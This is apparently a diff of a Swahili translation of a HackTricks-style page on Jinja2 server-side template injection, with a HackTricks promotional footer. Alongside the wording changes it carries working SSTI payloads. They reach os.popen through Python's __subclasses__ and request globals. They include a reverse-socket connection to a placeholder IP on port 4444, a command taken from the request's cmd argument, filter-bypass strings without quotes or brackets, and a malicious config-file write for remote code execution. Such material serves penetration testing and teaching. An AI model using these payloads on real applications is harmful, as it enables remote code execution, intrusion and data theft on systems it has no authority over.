-Ili kufikia **darasa la kipengee** hicho, unahitaji **kufikia kipengee cha darasa** na kisha ufikie **`__base__`**, **`__mro__()[-1]`** au `.`**`mro()[-1]`**. Na kisha, **baada ya** kufikia **darasa hili la kipengee** tunaita **`__subclasses__()`**.
+Ili kufikia **darasa la kipengele** hicho, unahitaji **kufikia kipengele cha darasa** na kisha ufikie **`__base__`**, **`__mro__()[-1]`** au `.`**`mro()[-1]`**. Na kisha, **baada ya** kufikia **darasa hili la kipengele** tunaita **`__subclasses__()`**.
 
 Angalia mifano hii:
 ```python
@@ -123,9 +123,9 @@ dict.__mro__[-1]
 ```
 ### Kutoroka RCE
 
-**Baada ya kupata** `` na kuita `__subclasses__` sasa tunaweza kutumia classes hizo kusoma na kuandika faili na kutekeleza nambari.
+**Baada ya kupata** `` na kuita `__subclasses__` sasa tunaweza kutumia darasa hizo kusoma na kuandika faili na kutekeleza nambari.
 
-Wito kwa `__subclasses__` umetupa fursa ya **kupata mamia ya kazi mpya**, tutafurahi kwa kufikia **darasa la faili** ili **kusoma/kuandika faili** au darasa lolote lenye ufikiaji wa darasa linalo **ruhusu kutekeleza amri** (kama vile `os`).
+Wito kwa `__subclasses__` umetupa fursa ya **kupata mamia ya kazi mpya**, tutafurahi tu kwa kupata darasa la **faili** ili **kusoma/kuandika faili** au darasa lolote lenye ufikiaji wa darasa linalo **ruhusu kutekeleza amri** (kama vile `os`).
 
 **Soma/Andika faili za mbali**
 ```python
@@ -138,8 +138,10 @@ Wito kwa `__subclasses__` umetupa fursa ya **kupata mamia ya kazi mpya**, tutafu
 # The class 396 is the class 
 {{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
 
-# Calling os.popen without guessing the index of the class
+# Without '{{' and '}}'
+{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']() == 'chiv' %} a {% endif %}
 
+# Calling os.popen without guessing the index of the class
 {% raw %}
 {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
 {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
@@ -148,9 +150,11 @@ Wito kwa `__subclasses__` umetupa fursa ya **kupata mamia ya kazi mpya**, tutafu
 {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
 {% endraw %}
 
+## Passing the cmd line ?cmd=id, Without " and '
+{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
 
 ```
-Kujifunza kuhusu **madarasa zaidi** unayoweza kutumia kwa **kuhama** unaweza **kuangalia**:
+Kujifunza kuhusu **madarasa zaidi** unayoweza kutumia kwa **kutoroka** unaweza **kuangalia**:
 
 {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
 [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@@ -161,7 +165,7 @@ Kujifunza kuhusu **madarasa zaidi** unayoweza kutumia kwa **kuhama** unaweza **k
 #### Kupitisha kawaida
 
 Hizi kupitisha zitaruhusu **upatikanaji** wa **sifa** za vitu **bila kutumia baadhi ya herufi**.\
-Tayari tumeshaona baadhi ya hizi kupitisha katika mifano ya hapo awali, lakini hebu tuzikague hapa:
+Tayari tumeshaona baadhi ya hizi kupitisha katika mifano ya awali, lakini hebu tuzikusanye hapa:
 ```bash
 # Without quotes, _, [, ]
 ## Basic ones
@@ -192,21 +196,21 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
 * [**Rudi hapa kwa chaguo zaidi za kupata darasa la kipengee**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
 * [**Soma hii ili upate RCE bila darasa la kipengee**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
 
-**Kuepuka uendeshaji wa HTML**
+**Kuepuka uwekaji wa HTML**
 
-Kwa chaguo la msingi, Flask hufanya uendeshaji wa HTML kwa kila kitu ndani ya kiolesura kwa sababu za usalama:
+Kwa chaguo-msingi, Flask huchakata HTML yote ndani ya kiolesura kwa sababu za usalama:
 ```python
 {{''}}
 #will be
 <script>alert(1);</script>
 ```
-**Filteri ya `safe`** inaruhusu sisi kuingiza JavaScript na HTML kwenye ukurasa **bila** kuwa **HTML encoded**, kama hivi:
+**Filteri ya `safe`** inaruhusu sisi kuingiza JavaScript na HTML kwenye ukurasa **bila** kuwa **imefanyiwa encoding** ya HTML, kama hivi:
 ```python
 {{''|safe}}
 #will be
 
 ```
-**RCE kwa kuandika faili mbaya ya usanidi.**
+**RCE kwa kuandika faili ya usanidi mbaya.**
 ```python
 # evil config
 {{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
@@ -226,12 +230,12 @@ Bila **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
 {% endraw %}
 
 ```
-## Kuingiza Jinja bila **\**
+## Uingizaji wa Jinja bila **\**
 
-Kutoka kwa [**vitu vya kimataifa**](jinja2-ssti.md#accessing-global-objects) kuna njia nyingine ya kupata **RCE bila kutumia darasa hilo.**\
-Ikiwa utafanikiwa kufikia **kazi yoyote** kutoka kwa vitu hivyo vya kimataifa, utaweza kupata upatikanaji wa **`__globals__.__builtins__`** na kutoka hapo **RCE** ni rahisi sana.
+Kutoka kwa [**vitu vya kimataifa**](jinja2-ssti.md#accessing-global-objects) kuna njia nyingine ya kufikia **RCE bila kutumia darasa hilo.**\
+Ikiwa utafanikiwa kufikia **kazi yoyote** kutoka kwa vitu hivyo vya kimataifa, utaweza kufikia **`__globals__.__builtins__`** na kutoka hapo **RCE** ni rahisi sana.
 
-Unaweza **kupata kazi** kutoka kwa vitu **`ombi`**, **`mpangilio`** na vingine **vyovyote** vya kuvutia **vya kimataifa** unavyoweza kupata kwa:
+Unaweza **kupata kazi** kutoka kwa vitu **`ombi`**, **`mpangilio`** na vitu vingine **vya kimataifa** vinavyovutia unavyo ufikiaji navyo kwa:
 ```bash
 {{ request.__class__.__dict__ }}
 - application
@@ -275,13 +279,13 @@ Baada ya kupata baadhi ya kazi unaweza kurejesha builtins na:
 ## Marejeo
 
 * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
-* Angalia [mbinu ya attr ya kudanganya kuepuka herufi zilizopigwa marufuku hapa](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
+* Angalia [mbinu ya kukiuka herufi zilizopigwa marufuku hapa](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
 * [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
 * [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
 
 
-Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! +Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: @@ -289,6 +293,6 @@ Njia nyingine za kusaidia HackTricks: * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.